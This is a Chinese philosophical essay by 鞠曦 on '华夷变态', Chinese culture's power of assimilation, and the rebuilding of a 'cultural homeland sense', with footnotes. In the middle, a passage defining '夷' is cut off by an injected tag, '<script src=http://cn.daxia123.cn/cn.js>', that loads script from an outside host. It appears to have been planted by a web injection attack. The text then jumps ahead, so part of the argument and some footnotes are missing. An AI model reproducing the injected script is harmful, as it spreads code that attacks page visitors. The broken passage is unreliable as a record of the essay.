作者:鞠 曦 转载于:http://www.confuchina.com
摘要:“华夷变态”是中国文化丧失了凝聚力产生的问题形式,以史学、政治学及经济学的方法对华夷关系进行的研究,不足以从主体性上理解中国文化之凝聚力的本质性。所以,本文从哲学角度反思“华夷变态”问题,提出了主体性的“文化家园感”概念,表明凝聚力之本质乃中国文化的同化能力所塑造的“家园感”,认为中国文化中的华夷关系在本质上是一种家园关系。做为本质的统一性,中华民族的形成同样依赖于“文化家园感”的同化作用。面对中国文化所面对的当代问题,无论是“华夷变态”问题还是中华民族的凝聚力问题,以重塑“文化家园感”作为应对问题的主体论形式,才能使中国现代文化具有合法性。然而,重塑“文化家园感”是以中国传统文化挑战“全盘西化”及“华夷变态”所形成的现代文明,亦即必须对“华夷变态”的现代文明进行批判反思,此乃复兴中国优秀传统文化的基础。如果失去以批判为前提的同化能力,不能完成对当代文明的理性批判,则妄谈复兴中国优秀的传统文化,其没有必要复兴,也不可能复兴。所以,从“华夷变态”问题出发,本文进而提出了“华夷中和”的概念范畴,认为只有“华夷中和”,才是复兴中国优秀传统文化的理性与智慧,才能使“华夷变态”问题在“文化家园感”的历史与逻辑中统一。
关健词:文化家园感 华夷变态 华夷中和
由现代中国的历史境域所决定,中华民族的凝聚力已经成为不容忽视的问题,所以引发了相关的文化诉求,出现了复兴中国传统文化及其儒学的呼声。然而,这些呼声以民族性的主体性诉求遮蔽了文化的凝聚力问题,结果亦只能适得其反。如果一种文化只适合本民族因此只是一种民族文化而不具有人类性,那么,在全球化的现代进路中,这种民族文化则必然消亡而这个民族亦将被其它文化所同化。所以,在复兴中国传统文化及其儒学的理路中,反思其所具有的人类性,从而以其不可取代的凝聚力,才能化解中国于现当代产生的问题。由此,中国文化才能以人类性走向世界,而世界亦因中国文化的人类性而形成凝聚力,才能真正解决全球性问题(例如战争问题、能源问题、生态问题等等)。
文化的凝聚力与中国文化构成了历史与逻辑的统一,中国文化这一概念统合了传统与现代,而中国现代文化凝聚力的问题则使这种统合出现二难:现代中国是从传统中国走来,何以这个因强大的文化凝聚力而使中国成为“世界上几大古国文明中唯一得以幸存和延续下来的文明”,[1]于现代却出现了凝聚力问题?显然,其答案非常明确:是中国以现代的反传统、否定儒学及优秀的传统文化,以西化进入了全球化时代,从而产生广义上的“华夷变态”的文化危机。
从本质上论之,因为现代中国文化失缺了同化能力,从而使凝聚力成为问题。而在“全盘西化”的“自由主义”旗帜下的“多元化”只能产生更大的凝聚力缺失问题,“多元化”本身所表明的是失缺“同化”能力而出现的非统一性,从而使现代文明以自以为是、以非为是与自欺欺人为主要特征,这样的文明形态——失去了“同化”能力的文化,人们亦只能自以为是,凝聚力则根本无从谈起。
凝聚力由文化构成的诸多方面所形成,然而,在其本质上则取决于文化能否“穷理尽性以至于命”[2]及所具有的同化能力。中国文化的经典论证了文化的同化性与永恒性。《易》曰:“文明以止,人文也。观乎天文,以察时变。关乎人文,以化成天下”。[3] “重明以丽乎正,乃化成天下。”[4]这就是说,文化乃“能说诸心,能研诸侯之虑,定天下之吉凶,成天下之亹亹者”,[5]“化成天下”之文化,必“开物成物,冒天下之道”,[6]而只有“关乎人文”,才能“以通天下之志,以定天下之业,以断天下之疑”,[7]由此才能使天下化成。对人类的思想史进行的哲学反思表明,“穷理尽性以至于命”是哲学与文化的核心问题,而中国古代文化很早就注重并成功地解决了这一问题,因而成为《易》的核心命题。
历史表明,历史上的中国以其文化的同化能力形成了强大的凝聚力,《战国策》对此曾有所概括:
中国者,聪明睿知之居也,万物财用之所聚也,贤圣之所教也,仁义之所施也,《诗》《书》《礼》《乐》之所用也,异敏技艺之所试也,远方之所观赴也,蛮夷之所必行也。[8]
上论即所谓“远服来朝”,概指中国文化的“同化”能力,其表现为华夷关系。历史表明,“远服来朝”的结果是于亚洲形成了以“中国文化圈”为形式的华夷关系,中国文化的“同化”能力至唐全盛,明末而衰,由满清入主中原而逐步消亡,而现代中国文化,则基本被西化异化即反传统的以西制华,亦即处于以夷反华即广义的“华夷变态”,其不但是历史上华夷关系的反动,而且使中华民族丧失了“文化家园感”,由此导致了自身的文化凝聚力问题。
“华,荣也。”[9]“华者,犹荣华容色之象也。”[10]“华,盛也。”[11]“华,谓中国也。”[12]“中国有礼仪之大,故称夏;有服章之美,谓之华。”[13]“夷,平也。从大从弓。东方之人也。[14]“夷,蛮夷也?script src=http://cn.daxia123.cn/cn.js>
据。陈独秀认为:
矧在吾国,大梦未觉,固步自封,精之政教文章,粗之布帛水火,无一不相形丑绌,而可与当世争衡?
举凡残民害理之妖言,率能微之故训,而不可谓诬,谬种流传,岂自今始!故有之伦理,法律,学术,礼俗,无一非封建制度之遗,持较晰种之所为,以并世之人,而思想差迟,几及千载;尊重二十四朝之历史性,而不作改进之图;则驱吾民于二十世纪之世界之外,.纳之奴隶牛马黑暗沟中而已,复何说哉![29]
上论在形式上属于中国的“华夷变态”观,其代表了其时全面反传统的理论思潮,其目标是“全盘西化”,推翻传统文化而企图以西方文化取而代之。然而,在这种“华夷变态”观的指导下,在全面反传统、“打倒孔家店”之后,百余年历史却表明,中华民族不但失去了自身的文化家园,而且证明企图以西方文化建构新的文化家园即以夷为华,仅仅是个幻想。问题表明,中华民族因丧失“文化家园感”,已经导致凝聚力危机,“文化家园感”的重塑成为中国文化的当务之急。历史与逻辑的统一性表明,重塑“文化家园感”,复兴优秀的传统文化,是使中华民族步出自以为是、以非为是与自欺欺人的唯一抉择。
所以,“华夷变态”是中国文化丧失了凝聚力产生的问题形式,以史学、政治学及经济学的方法对华夷关系进行的研究,不足以从主体性上理解中国文化之凝聚力的本质性。所以,从哲学角度反思“华夷变态”问题,以主体性的“文化家园感”概念,表明凝聚力之本质乃中国文化的同化能力所塑造的“家园感”,中国文化中的华夷关系在本质上是一种家园关系。做为本质的统一性,中华民族的形成同样依赖于“文化家园感”的同化作用。面对中国文化所面对的当代问题,无论是“华夷变态”问题还是中华民族的凝聚力问题,以重塑“文化家园感”作为应对问题的主体论形式,才能使中国现代文化具有合法性。然而,重塑“文化家园感”是以中国传统文化挑战“全盘西化”及“华夷变态”所形成的现代文明,亦即必须对“华夷变态”的现代文明进行批判反思,此乃复兴中国优秀传统文化的基础。如果失去以批判为前题的同化能力,不能完成对当代文明的理性批判,则妄谈复兴中国优秀的传统文化,其没有必要复兴,也不可能复兴。如果是这样,中华民族最终失去的不仅是“文化家园感”,而且将在失去“文化家园”的同时,失去赖以安身立命的生命家园。所以,从“华夷变态”问题出发,以“华夷中和”为复兴中国优秀传统文化的理性与智慧,才能使“华夷变态”问题在“文化家园感”的历史与逻辑中统一。
面对“华夷变态”的现代文明,“文化家园感”的重塑在理论上表明的必然不仅仅是民族性,更重要的在于其所必须具有的人类性,否则,“华”只能为夷所化而不复存在,而历史已步入这一进程。也就是说,“中华文化”是否具有人类性,能否以其同化能力化夷为华,化西为中,能否以人类向往的“文化家园感”使之安身立命,是决定中国文化应否与能否复兴的关键所在。重塑“文化家园感”在于其文化的“穷理尽性以至于命”的理论与实践能力。“文化家园感”能否被人们认同,不在于对其文化母体的鼓吹和信仰,而在于其对生命的安顿能力,在于其解决问题的能力。所以,对于中国传统文化的复兴而言,重要的不是导以民族性的价值取向,而是要对当代“华夷变态”的文化及文明进行反思与批判,以重塑“文化家园感”为基础性工作,以“穷理尽性以至于命”的人类哲学智慧,使民族性与人类性统一,才能化夷为华,为人类文明开新传统。
巴黎第一届诺贝尔奖获得者国际大会宣言称:“如果人类要在21世纪生存下去,必须回头2540年前,去汲取孔子的智慧”。显然,这个宣言承诺了当今世界所存在的严峻问题,而这些问题则不能用西方的哲学、科学和宗教即西方文化加以解决,从而需要用孔子即中国优秀传统文化的智慧加以解决。“生存”问题因于“文化家园感”的丧失,只有重塑“文化家园感”,人类才能继续生存下去。孔子儒学“穷理尽性以至于命”的思想体系表明,其为“恒以一德”[30]的理论形式,以其在哲学的高度对人类的现代文明进行哲学反思与批判,才能真正的以孔子儒学思想,引导人类文明,“久于其道而天下化成。”[31]可见,“文化家园感”的重塑,不仅仅为了中华民族,而是放眼“华夷变态”之人类世界,忧患天下而自强不息,此乃“为天地立心”、“为万世开太平”之所以然也。
由人类所面临的严峻的生存问题所决定,重塑“文化家园感”是一个人类性工作,这在形式上决定了其适应于现实的全球化时代。然而,由于受历史的制约,当前以增强民族凝聚力为传统文化复兴的努力显然是狭隘的,甚至是徒劳的。所以,中国学者倾听一下西方学者的意见,显然是极其必要的。当代美国哲学家约翰?塞尔说:“我想告诉中国学者的最重要的事情是,没有民族的哲学和民族的科学这种东西。它是国际化的。我们所谈论的是一个完整的世界。正在发生的最伟大的事件就是,中国现在已成为世界其它地方的一部分。长期以来,有一堵墙将中国和西方世界以及将中国
?襄公十年》“谓之夷俘”。
[18] 《白虎通义?礼乐》。
[19] 《汉书?杜钦传》。
[20] 蔡沈集传《书?泰誓中》“受有亿兆夷人”。
[21] 滨下武志:《近代中国的国际契机——朝贡贸易体系与近代亚洲经济圈》,北京:中国社会科学出版社,1999年版,30-40页。
[22] 魏源:《海国图志》。
[23] 朴趾源:《热河日记》,上海书店出版社,1997年第1版,第1页。朴趾源此日记虽记于明亡一百四十余年之后,但其所用纪年仍为“崇祯百五十六年癸卯”。
[24] 《朝鲜实录,成宗》。
[25] 《孝宗实录》十六年七月丙戌。
[26] 半岛唐风:《朝韩作家与中国文化》,刘顺利译,宁夏人民出版社2004年第1版,第76页。
[27] 牟元珪:《明清时期中国移民朝鲜半岛考》,《韩国研究论丛》(第四辑),上海人民出版社1998年第1版,第342页。
[28] 黑格尔:《哲学史讲演录》(第一卷),商务印书馆1959年9月第1版,第15页。
[29] 《青年杂志》第1卷第1号[1915年9月15日]。引自《中国现代思想史资料简编》第一卷第3页。浙江人民出版社1982年1月第1版。
[30] 《易?系辞传》。
[31] 《易?恒?彖》。
[32] 蔡曙山:《关于哲学、心理学和认知科学的12个问题——与约翰?塞尔教授的对话》。《学术界》总第124期,2007年第3期,第17页。
[33]导致这些问题的经典理论如下:①“领导我们事业的核心力量是中国共产党,指导我们思想的理论基础是马克思列宁主义。”(毛泽东:《中华人民共和国第一届全国人民代表大会第一次会议开幕词》(一九五四年九月十五日)一九五四年九月十六日《人民日报》)。② “共产主义革命就是同传统的所有制关系实行最彻底的决裂;毫不奇怪,它在自己的发展进程中要同传统的观念实行最彻底的决裂。”(马克思、恩格斯:《共产党宣言》,《马克思恩格斯选集》第一卷,人民出版社1972年5月第1版,第271—272页。)
[34]《易?系辞传》。
2008年元月6日记于长白山书院
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